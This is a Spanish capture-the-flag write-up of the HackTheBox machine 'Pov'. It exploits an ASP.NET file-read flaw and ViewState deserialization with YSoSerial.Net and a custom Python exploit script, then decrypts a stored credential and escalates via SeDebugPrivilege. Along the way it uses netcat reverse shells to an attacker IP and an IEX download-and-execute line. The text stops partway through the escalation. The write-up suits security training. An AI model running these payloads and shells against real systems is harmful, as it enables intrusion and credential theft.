Pov – HackTheBox Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Medium / Media
  • Platform / Plataforma: HackTheBox

‘Pov’ Avatar


Resumen Link to heading

Pov es una máquina Windows de dificultad media de HackTheBox. Luego de performar algunos scans sobre sub-dominios, somos capaces de encontrar un virtual host con el sub-dominio dev.pov.htb disponible para el servidor web. Este nuevo sitio web, el cual se ve como un blog, nos permite descargar un portafolio PDF. Analizando cómo el servidor provee este archivo, encontramos que éste utiliza View State. Luego de una breve investigación, usamos la herramienta YSoSerial.Net para generar un payload y ganar acceso a la máquina víctima. Una vez dentro, somos capaces de encontrar credenciales para otro usuario llamado alaading, al cual podemos pivotear internamente con estas credenciales. Este nuevo usuario tiene el privilegio SeDebugPrivilege, aunque deshabilitado. Utilizando distintas herramientas podemos volver a habilitar este privilegio. Finalmente, abusando de este privilegio, somos capaces de “secuestrar” un proceso privilegiado y tomar control total sobre la máquina víctima.


User / Usuario Link to heading

Empezando con un scan de Nmap éste muestra sólo 1 puerto abierto: 80 HTTP:

❯ sudo nmap -sVC -p80 10.10.11.251 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-15 18:45 -04
Nmap scan report for 10.10.11.251
Host is up (0.15s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
|_http-title: pov.htb
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.20 seconds

donde podemos ver que estamos ante un servidor web Microsoft Internet Information Services (Microsoft IIS).

Visitando el sitio http://10.10.11.251 (donde 10.10.11.251 es la IP de la máquina víctima) muestra un simple sitio web:

Pov 1

El sitio presenta un projecto acerca de ciberseguridad. Como sea, muchos de los botones de la página no funcionan, ni llevan a algo.

Dado que no podemos interactuar con la página, empezaré a buscar por directorios aplicando un Brute Force Directory Listing (Listado de Directorios por Fuerza Bruta) con Gobuster, pero no obtuve nada.

En este punto empezaré a buscar por vhosts. Para esto, primero agrego 10.10.11.251 con el dominio pov.htb, dado que pov.htb está presente en el nombre del sitio web y, también, el final de la página web (y del parámetro http-title del scan de Nmap). Esto lo hacemos corriendo el comando:

❯ echo '10.10.11.251 pov.htb' | sudo tee -a /etc/hosts

Una vez hemos agregado este dominio a nuestro archivo /etc/hosts, empezemos a buscar por subdominios usando ffuf:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://pov.htb/ -H 'Host: FUZZ.pov.htb' -fl 234

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://pov.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.pov.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 234
________________________________________________

dev                     [Status: 302, Size: 152, Words: 9, Lines: 2, Duration: 158ms]
:: Progress: [4989/4989] :: Job [1/1] :: 260 req/sec :: Duration: [0:00:28] :: Errors: 0 ::

Donde encontramos 1 subdominio: dev.pov.htb. De manera que lo agrego a mi archivo /etc/hosts, y éste se ve ahora como:

❯ cat /etc/hosts | tail -n 1

10.10.11.251 pov.htb dev.pov.htb

Ahora que hemos agregado este sitio, podemos visitarlo. Primero lo reviso utilizando cURL:

❯ curl -s http://dev.pov.htb

<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="http://dev.pov.htb/portfolio/">here</a></body>

donde podemos ver que éste redirige a http://dev.pov.htb/portfolio.

Visitando http://dev.pov.htb/portfolio muestra otra página web:

Pov 2

Yendo a la parte inferior de esta página web, el sitio web nos permite descargar un archivo PDF el cual no es más que el CV de un diseñador:

Pov 3

Descargando y chequeando este CV, aparentemente no parece ser más que un CV normal:

Pov 4 Noto que cuando pongo my mouse encima del botón Download CV (pero sin clickearlo), éste llama a una función de JavaScript llamada __doPostBack. Mirando el código fuente de la página de esta función, éste se ve como:

var theForm = document.forms['form1'];
if (!theForm) {
    theForm = document.form1;
}
function __doPostBack(eventTarget, eventArgument) {
    if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
        theForm.__EVENTTARGET.value = eventTarget;
        theForm.__EVENTARGUMENT.value = eventArgument;
        theForm.submit();
    }
}

donde está llamando a las variables eventTarget y eventArguent para ejecutar alguna acción.

Para revisar qué es lo que realmente sucede cuando clickeo en el botón Download CV es que decido iniciar una sesión de Burpsuite e interceptar la petición que se manda cuando clickeamos sobre el botón de descarga. Haciendo esto tenemos lo siguiente:

Pov 5

donde tenemos la petición HTTP:

POST /portfolio/ HTTP/1.1
Host: dev.pov.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 357
Origin: http://dev.pov.htb
DNT: 1
Connection: close
Referer: http://dev.pov.htb/portfolio/
Upgrade-Insecure-Requests: 1

__EVENTTARGET=download&__EVENTARGUMENT=&__VIEWSTATE=pq4lVre5C%2BeE0zeQ7GhEylpWd60Dp5RKMQDIZjOnuFnsE4TMwTIgBobkoGJk2n3eD%2F2aWP0l4Ap2cIh98d8PLk%2Fi2uk%3D&__VIEWSTATEGENERATOR=8E0F0FA3&__EVENTVALIDATION=19foRXLpnWS5AHjpvopq9vbMZW8BAnmzZPMqWj3tx2KqbqPBU3OR1570e0DW5PuIIzjYQMCqfhlGC5NDM5NDlF1IPnamA%2BAJt5iU5ftodSZfiggU20q7HXkcXH7trj%2FIh8IJqw%3D%3D&file=cv.pdf

Basados en los argumentos, el servidor está usando View State:

Información
View State is the method to preserve the Value of the Page and Controls between round trips. It is a Page-Level State Management technique. View State is turned on by default and normally serializes the data in every control on the page regardless of whether it is actually used during a post-back
Aquí noto, además, que con el parámetro file el servidor está llamando al archivo cv.pdf.

Podriamos tratar de manipular cuál archivo es llamado. De manera que envío la petición al Repeater en Burpsuite (Ctrl+R) y cambio el valor de la variable file donde, eventualmente, cambiar el valor de cv.pdf a /web.config funciona:

Pov 6

Con esto obtenemos la respuesta:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/octet-stream
Server: Microsoft-IIS/10.0
Content-Disposition: attachment; filename=/web.config
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 May 2024 23:17:09 GMT
Connection: close
Content-Length: 866

<configuration>
  <system.web>
    <customErrors mode="On" defaultRedirect="default.aspx" />
    <httpRuntime targetFramework="4.5" />
    <machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
  </system.web>
    <system.webServer>
        <httpErrors>
            <remove statusCode="403" subStatusCode="-1" />
            <error statusCode="403" prefixLanguageFilePath="" path="http://dev.pov.htb:8080/portfolio" responseMode="Redirect" />
        </httpErrors>
        <httpRedirect enabled="true" destination="http://dev.pov.htb/portfolio" exactDestination="false" childOnly="true" />
    </system.webServer>
</configuration>

HackTricks ofrece una buen camino sobre cómo explotar el mecanismo ViewState. Para esto necesitaremos de la herramienta YSoSerial.Net (la cual puede ser descargada desde su repositorio de Github) y pasarla a otra Máquina Virtual con Windows. Una vez allí, corremos el comando:

C:\Users\gunzf0x\Downloads> ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "<Command Here>" --path="/portfolio/default.aspx" --approach="/" --decryptionalg="AES" --decryptionkey="<DescriptionKeyHere>" --validationalg="SHA1" --validationkey="<ValidationKeyHere>"

En mi caso, voy a la página de Reverse Shell Generator (https://www.revshells.com/), escojo el payload PowerShell #3 (Base64), pongo mi IP de atacante y puerto de escucha (10.10.16.2 como mi IP de atacante y 443 como el puerto en escucha, en mi caso). Luego, de vuelta a la Máquina Virtual con Windows, decido correr YSoSerial.Net con el comando explicado más arriba, pero ahora agregando el payload/comando y las credenciales halladas:

C:\Users\gunzf0x\Downloads> ysoserial.exe -p ViewState -g TypeConfuseDelegate --path="/portfolio/default.aspx" --approach="/" --decryptionalg="AES" --decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGU<SNIP>HMAZQAoACkA"

En mi caso, al correr el programa éste genera el payload:

7OOGcG4TMXWXqCm9Qv4r%2BmtOJ2tPkHx2Cci8xMAorxYGxhDxmwf1qyLMtlPssodM%2BWwRa6cAQkCUqW%2FE%2BjOi3MLYuIf1Qg%2FNAD0bYrc1RGCxEAka%2FRxLC%2BXHNNkPtH9Cwffrc2nvNKc0v69%2BLzGAoJjElBNoxjDltsFUyhP%2FYWFkXPUDD3%2Bf1HU%2FCXj9Ayk3HSxzEfobLY4FxxJzBw8b1h%2F%2Ftz1ePGB86ngU9eLDN1VxvVd573PJPQ%2FJTI4rhOMBVl9iMEqDIpM9%2F3%2BrFFS7G0Yhkrltw%2BNFfC1oplYvvPMWhQFIdoKSFanWoHkYaP%2Fw4F1IGWXSq1u7PQLvpmg5P1evLtSDcUfWNLUiS%2Fd0XS9xP8BkBQuola45DF9iyy5MCb2BYbUswLVqlMt9YcsICABqK36TCHFK0wRK%2BBtX%2Fh2pHg8u5J8J4wdi0umjNQlgH2WhsmqA35LUcC5NfJLowO00Z%2FkU2m3PQOzOnmkZTjCg0eHVE4LUceMJ2NOhf%2B17gjcc4WD55%2Bvqt7zO6klqv8khzoEcxpr7zNlaFhfcJZMFpQ8dWVNs9j%2Fa1pbk4bzQ3CTWMPRGw%2BRl7V%2BTxL3O0G09hh9ZloR41ebpQBWY9bGB47gu2fxxdmnhFKpPFmEOD8HCdWO6j1lekEKRENGQWANtPX63fsXMSNAh4jP1RXFUHyV9LiJuDpcNXWkkHaddlZ5HuX8kZ0UT0MtJYVF18%2F21mnduTNEZrFk1tL4IVKOQa%2BUNJdTiZI0DfD%2FEdbAJecS93uj3VkrkmwzJF3ekGyHHDlgZ%2FBADw8LNhbEEd2MvlSKQmOLcGTsigUaCWJDGW9kGHSrXE5tLk3mm1JpcyxltH2VuxEwZ9A%2B%2BWYLHkMG4dmAmmEkiO0hGFRl4D4e1Jm%2BqLmIkKj0YAcbUnJdfuY7MVPxjplDiSpPzhxztgHVCWACgQKargy8zxxmclFjLDF5LJkeAcS27GbJS9swK0OgloqiMsk1Iv1zuFkvQOtDlNvFBtb8zkwAvGN%2FLxCVCYdWiWRZaUNHQLldDyMALNAUKXtS9zyeXG7O2iXW3VVSkx1nu4Ma2BcwUdWZr9D0xIqvu8UW3LwAORDi5A5y6P1q80lWv1qJF4IjXWtd6Yz7LWtnop3Ma8t5LH3qe99gOeVnohOvcXv7KflxLPFZ1ahekiCSRjRmBlgdyeidOAkg7esosKnp%2FXEfjuDhMravbOlUQCW8XlhYHsH34KB6Vps1a5%2BtyZenRRGt9r9DHRiQz0W%2FgZFkUk%2FKzJeJtQGM0vRPvF87jgpHzUcrvuFYRyMM1cdEg1rtMMuXqiIjQUoHM5AOBlBYxUws37qY6CUDfCis7X%2BeuJhqmlJL9CXFdB1%2BhVmZ9HIfWVIwwtfmiqRZ6DCnsR5LE73I%2FptBV2mInZMVL4YFh4WUonC9seAC7%2BWil8K8dFigrefYZfFZMGx4sI9jM8jKbue%2FpdPUUgeShKJQLx8PgqyK3PmuYcSqYfKo1H9K%2Buuo3ZlJsIHRu253L8ZMlSd6DrPfLX%2Ft8yxMpp06kgS2Yr6KjThBCbXDAVoci0ZVpez5ix%2FdBNIZIGv%2BjelNgxAIB6x%2BoTGYf4c0Ffryrvcl2CrjLpkSnU7kqoOTkZgUugUeEDAWyU3b0oHZ1JkqHBHqtc0gVA4QkDdDvGvVhcIMGy3iXVeU9A8LrJZYlIbdAuaNbnSI28k8lu5w2aDmmZEBiKqJXrd%2B7aQvSqYlwxl02BKB0LzhAmMrBCvP8rB%2BHugTGuLWJ3jxMZuJWek9%2FGvz4mrfzoTeWu6UfyHKkUaVNcyp1ndMr9ICmtPUNmBWTXeJg5T%2Bl98qNzi16pD%2F%2BnrCLzmf5vzt3iYOiwP7r8mFpSmT2uPMS2YMZ%2F5FaQLl0bfOoILeH5TMkfHDLKIKIC%2BXXHkTEiqL3areyGVlH1mVavzMeb2Zd7W%2Fe33v%2BjBHuw1pzTbWbsEtvrbzltA9FAVtFtBGXQBZvvfB%2BX6CG8eB0MDWpAVtRS%2BwVqCRVe2i78uIAMyzYhtkEiveq8GLyuYAu49p%2BpnQAsfekWhGFc8k73%2BiulLV%2Bk4xSLjq56DYRSCSBaq8XoLPT9ZOV0wAj%2FM9jNiH3fTN4bLnqC6ETl7g2L%2FSjRmbF9D6e%2F32g%2BLPWwweH%2FmHUCcQ1L254%2BCGZXhf4T4g%2B4t2AETja6F918YMMJk1TVLxVpPeDdPx4F8bAJL3%2FDQ7EQ%2BWPNJFT6%2B4mtJkn%2Fo1XcoAM7E4QzVg7nDOwr2L5mBHd02ykqY%2BUreJkkF0kWvDvaEJiTgF3v1mYw59agZStKYxv9VMBfJ%2BMiORT8Gh9iqiGLAFoOwbcQVoyGDT122ACwgGfmgQg6lcmkTuLECTa0QjlELrG76NUJi6dFb9%2FbqH6U%2F%2BFD9l8JYbFNdsVZQKfi%2FH68zKNdiUE31kuG5E64mHS8z2dv9v%2Bza83go5WyIh2EJQ88kTy4CKhOCfeSHqqybftpJIb2hSvSGR6Rf3j0tY3AQx9GtaMgyThDDvUIihPILyd5DTZnDSY1nSQMFeuX50AlMeqwIzPLFmXCuN9vy0W1LuLjnzMxdFblI6qxEIUq9HzPQKGTHjepmxx%2Fddt7IGu9bBeoqW6k2oHrGQEGgKa3KHyE8lWGxWAViFZYGlY9YtMq5TyLgn%2BnUZxG8d6G3ePE0bI2%2BYDvCRH69ofD%2FjxALK4UUCKGwP3QGLO1YmFKx0Tk3eWT4vx%2BiWktLDXVEokMBFZXFopuZQBRP12Q7oDPmRQtPRoUNxU3w0RsHjEDIzU5fQpfdPm1KrBQhJt1NVzT7yHBrSg8vujiBjgozskvCrPg75e1dNMmVDc7d3xrHoiCmlaACrxM%2B%2BJu1PcnTNtQaRXD3zk78Lwh6ZqRjof4V%2BiKKDC2o6D9klArbLo8HBx2XYedv59oL5v%2B6uWiDtiU%2FHw5ohtAt18fmb56mfKbWQWr%2Bo7xHh4eTCFDuyamAvcfLk0B9JAdQVRHAO5M8FVTc6siKA2F0Xxd8yJpS4fyU8b5bzildMftaIMGpWRavQXsUVEeuKZnCI6WNDurxx2uvTreAdCnVVFx7gOfRpHInywP2xGbwRrugQFhS54faF0Kw8N%2FHg9i4xhljPrN0JmCj2ObCMa%2Bne1r5qYiJSyd3DpDJB%2FKJP5PuP7BrK49GrlgMUxKHNplW8bcdzkoQ6onHJKbsaV7K24vOxkakqwyJxlGrS2%2Byua7RXEmB5m0dYkTJxiGz45Lxdp2u6bLPXG6ltFQKV%2BljKXzVdvrJ%2FRUAJEZKlf3aJ%2Bx5aEfLwOSOSZPpHTQeFVm5TDoE%2FHTshADXEMNQ%2Bu1vZjAV4WoAmUOAoWMFEc%2FY3UrDV%2Bkql6VOEBaE%2BVbuHNNK72buVn0aFRL%2BjmxyZjXZ%2Byk7hn9%2FNcgMzzToGTVJKUEVS%2B%2BYuDhvQJYt9SfFvwNjCb9thd7hNSZFrJii1vKS9nN1%2BIVu0irMn82WwAA2iAEQj%2FtOHOKLyaRYHv9yka9dX6bfxMV%2BuR4V%2F6cEI0N1zoHF1lLd8IuS%2BUhADhFGL2o%2BluhluuM%2FVW%2FpJn63vNIqcx1f%2FHwY%2BtCm0jBKVHFiiY%2FihEDQG5xQczaYhyqK575SzKYoyS5b5ky5LQI%2Bo3eFoM1ABvQzxdsP4LslZ57aaJUaNky4llWmW%2F785NadYr0n7Btv53Q84XI9cQSGg%2F58jCBOEm9248dpSUy2AZR0NwHm5b908ftGS6wtth1Ue3i4etopiFLDer4eMfnp%2BVq6BnM5XMZXOYFm4oVxOUkUJ3nHXkTqPMOvqHS3ftWC%2FOlRvG2j6%2Bnt3kn610sl0FcOo63daLKi%2BEpwwuY8H6B8knKuc5snacPkA4lPXDk9cGjVwmSsfaMuwtS9rJ7T2JqxykW7ZJobYI%2FGEQVvAlYmYbGoZRzr5vh6yPhVBtAoW5JyXtRO%2BQnUwmORRoQlBO1yF7sYvWid6GdSdN2gbLdh7uxS8W6QCLxhyuSh8I6zWOeWdjwqDyjCs1fcM5jSII3hQNZjpKBj0y7FeNfvKDpidq3jDjksHz7E3CDsl4pyiExI3uf9xhHjzQZbKDnVC%2ByI794yf8gQLNyZfqcxfDY3LbDA%2F0adHKFSe6vmDPOMyXkrzoSYkh1AhWwH4anB9hOnqcwg3pOaOaHP0ZqCWooA4%2FbsHeQMlNNPWoZuCzCDLB5DbRnS1b7T9LUlU0TDu2GBOw5HJXFXqusgdu98i%2FtE8yKTIzSQFdiLtT2miZtOKYe8TTc5i0%2FZBzxjdkH4zSzjF81PNX8lbPYQJUArQ6yymMPOIh0wu%2FFfTR8XoydzYfhcn%2FKSc2dkQfepoYVh%2Fe0HQf9Wf5EbicBXF2ZumcyUROd5%2Fj5kWNXn4BG74kk19hU9lS88jqnaCOtithxUcth5BVVNQd89iRxjEiNxyW2o7aIXMWzTMcoOu9vdIM7YzP%2BpaUxnvQFTh%2FxqRFjUy2rvSszjn%2FYK5LYpLctP3ROO%2BppxXoN7PTBOZrCSfM79TShqek%2BcOTBRpb%2Feivb0l2cvkVP1DrsiheoWVBkGFTgFKId6plAULSOsoHzRIqOPlFYqjvPlRadxmHixQwYEYbaICuPR8ZAMeWn%2BHo5GmgYmHefcXPFBY%2B3WmnFFs0dGR2DAOqGnGb%2FGRcb05n5MKsN9mbM5yU58PmbGkUt86j21V545LWRq9W%2BsFqYRkVPpUST8gPuGpUT216m0%2FcmO9eSfbwDgzEFvIdZMMF%2BRXql%2FB9HZZu8KQUsW%2Fbwz%2F7nAhsfjSiWRwzOdSzNZoIua65qphY1N8IYU%2BeNmdLUzG0LGT%2FiF4lF53FRbwMOuFwtv0ehw9WqOUWo7pwQx7A1Opj9lWq7ANLNEWcuNP%2FTfJE

Es importante de recalcar y anotar que este payload será distinto para cada usuario, ya que la IP de atacante y puerto de escucha pueden ser distintos a los míos.

Ahora, tenemos 2 opciones:

  1. Usar Burpsuite, interceptar la petición enviada al servidor al clickear Download CV y pasar el payload a la variable __VIEWSTATE (tal cual fue explicado en HackTricks)
  2. Hacer un simple script en Python la cual envía todos estos datos y peticiones, pero vía consola; de manera que si perdemos la conexión -por cualquier razón que sea- podemos reconectar fácilmente a la máquina.

Yo elijo la segunda opción, donde creo un simple script de Python:

import requests
import argparse
import sys
import urllib.parse


def parse_arguments()->argparse.Namespace:
    parser = argparse.ArgumentParser(description="A simple argument parser example.")
    # Add arguments
    parser.add_argument('-u', '--url', type=str, help="Url to make POST request to. Example: http://dev.example.htb/example/", required=True)
    parser.add_argument('-c', '--command', type=str, help='ViewState command', required=True)

    return parser.parse_args()


def make_POST_request(url: str, command: str)->None:
    generic_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1"}
    payload = {"__EVENTTARGET": "download", 
                  "__EVENTARGUMENT": '', 
                  "__VIEWSTATE": urllib.parse.unquote(command), 
                  "__VIEWSTATEGENERATOR": "8E0F0FA3", 
                  "__EVENTVALIDATION": "pGfjsostEYtFuRQ+WLNYLVAVMkGFgPjb4CDyPOQ+k20Bf6VSQiuoaYE7iH2XNLMQRiPHNeCRYzI/Gxbh1N4NVUaITnLyalHjhxMVG+ZsotApeeHvWBirBzUW5IHovXP985Kdnw==", 
                  "file": "cv.pdf"}
    r = requests.post(url, headers=generic_headers, data=payload, verify=False)
    if r.status_code != 200:
        print(f"[!] Could not execute the payload. Code status {r.status_code!r}")
        sys.exit(1)
    print("[*] Payload succesfully executed.")
    return


def main()->None:
    # Get user arguments
    args = parse_arguments()
    # Make the malicious request
    make_POST_request(args.url, args.command)


if __name__ == "__main__":
    main()

Finalmente corro:

❯ python3 request_server_exploit.py --url 'http://dev.pov.htb/portfolio/' --command '7OOGcG4TMXWXq<SNIP>7pwQx7A1Opj9lWq7ANLNEWcuNP%2FTfJE'

Donde 7OOGcG4TMXWXq<SNIP>7pwQx7A1Opj9lWq7ANLNEWcuNP%2FTfJE es el comando generado (y cortado para propósitos de presentación de este WriteUp) por YSoSerial.Net. Así, en mi listener con netcat obtengo una conexión como el usuario sfitz:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.251] 49673
whoami
pov\sfitz

En C:\Users\sfitz\Documents podemos ver algunos archivos interesantes:

PS C:\windows\system32\inetsrv> dir C:\Users\sfitz\Documents


    Directory: C:\Users\sfitz\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       12/25/2023   2:26 PM           1838 connection.xml

y si chequeamos el contenido del archivo connection.xml tenemos:

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">alaading</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
    </Props>
  </Obj>
</Objs>

Somos capaces de extraer credenciales de este archivo siguiendo las instrucciones de HackTricks:

PS C:\windows\system32\inetsrv> $user = "alaading"

PS C:\windows\system32\inetsrv> $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6" | ConvertTo-SecureString

PS C:\windows\system32\inetsrv> $cred = New-Object System.Management.Automation.PSCredential($user, $pass)

PS C:\windows\system32\inetsrv> $cred.GetNetWorkCredential() | fl

UserName       : alaading
Password       : f8gQ8fynP44ek1m3
SecurePassword : System.Security.SecureString
Domain         :

Donde obtenemos las credenciales: alaading:f8gQ8fynP44ek1m3

Dado que no tenemos ningún servicio disponible/puerto abierto fuera del puerto 80 para HTTP, trataremos de pivotear al usuario alaading dentro de la máquina víctima. Para esto, pasamos un binario de netcat para Windows y la herramienta RunasCs (la cual puede ser descargada desde su repositorio de Github); esto para enviarme a mi máquina de atacante una reverse shell en una CMD, pero ahora como el usuario alaading. Para esto, empezamos un servidor HTTP temporal en Python por el puerto 8000:

❯ ls && python3 -m http.server 8000

nc64.exe  RunasCs.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

y en la máquina víctima descargo los archivos:

PS C:\Users\sfitz\Documents> wget http://10.10.16.2:8000/nc64.exe -Outfile C:\Users\Public\Downloads\nc.exe

PS C:\Users\sfitz\Documents> wget http://10.10.16.2:8000/RunasCs.exe -Outfile C:\Users\Public\Downloads\runascs.exe

PS C:\Users\sfitz\Documents> dir C:\Users\Public\Downloads


    Directory: C:\Users\Public\Downloads


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        5/15/2024   8:18 PM          45272 nc.exe
-a----        5/15/2024   8:22 PM          51712 runascs.exe

Una vez que todos los archivos han sido transferidos, decido correr netcat como el usuario alaading usando RunasCs para enviarme una CMD. Antes de esto, recordar empezar un listener con netcat en el puerto 443 en nuestra máquina de atacante:

❯ rlwrap -cAr nc -lvnp 443

y en la máquina victima, corremos:

PS C:\Users\sfitz\Documents> C:\Users\Public\Downloads\runascs.exe alaading f8gQ8fynP44ek1m3 "C:\Users\Public\Downloads\nc.exe 10.10.16.2 443 -e C:\Windows\System32\cmd.exe" -t 10 --bypass-uac

No output received from the process.

Y obtenemos una shell como el usuario alaading:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.251] 49677
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
pov\alaading

donde, finalmente, podemos obtener la flag de usuario en el Desktop del usuario alaading.


NT Authority/System - Administrador Link to heading

Revisando los privilegios del usuario alaading tenemos:

C:\Windows\system32>whoami /priv

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeDebugPrivilege              Debug programs                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

SeDebugPrivilege podría ser interesante. No obstante, éste se encuentra deshabilitado.

Primero, trato de usar la herramienta FullPowers para habilitarlo, pero falla. Luego, siguiendo las sugerencias de este blog, me descargo la herramienta psgetsys.ps1. Una vez descargada, en la máquina víctima paso de una CMD a una Powershell simplemente corriendo:

C:\Windows\system32> powershell

powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

y después de ello, luego de empezar un servidor Python HTTP temporal en el puerto 8000 donde psgetsys.ps1 se encuentra almacenado (python3 -m http.server 8000), importo el módulo desde mi máquina en la máquina víctima:

PS C:\Windows\system32> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.2:8000/psgetsys.ps1')

IEX(New-Object Net.WebClient).downloadString('http://10.10.16.2:8000/psgetsys.ps1')

Siguiendo las instrucciones del blog buscamos un proceso privilegiado para “secuestrar”. En este caso buscamos por winlogon y para ello corremos:

PS C:\Windows\system32> Get-Process winlogon

Get-Process winlogon

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    255      12     2652      16404       0.20    552   1 winlogon

donde el parámetro Id es el que nos interesa, en este caso el valor es 552 (éste puede ser levemente diferente en el caso de cada uno, así que revisar esto).

Luego de correr este comando podemos ver que SeDebugPrivilege está habilitado:

PS C:\Windows\system32> whoami /priv

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeDebugPrivilege              Debug programs                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

No obstante, me encuentro con un problema: si cambio de vuelta a una CMD (salgo de la sesión de Powershell escribiendo exit) el permiso SeDebugPrivilege vuelve a aparecer como deshabilitado (Disabled). De manera que, desde esta sesión de Powershell con el privilegio habilitado, me mando una nueva reverse shell con CMD a otro listener con netcat:

PS C:\Users\Public\Downloads> cmd.exe /c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe

cmd.exe /c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe

y vuelvo a tener conexión, pero esta vez en una CMD con todos los privilegios habilitados:

❯ rlwrap -cAr nc -lvnp 4444

listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.251] 49677
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Public\Downloads>whoami /priv

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeDebugPrivilege              Debug programs                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

He de decir que de la sesión de Powershell que tenía previamente psgetsys.ps1 intenté obtener una shell, pero no ocurrió nada:

PS C:\Users\Public\Downloads> import-module .\psgetsys.ps1

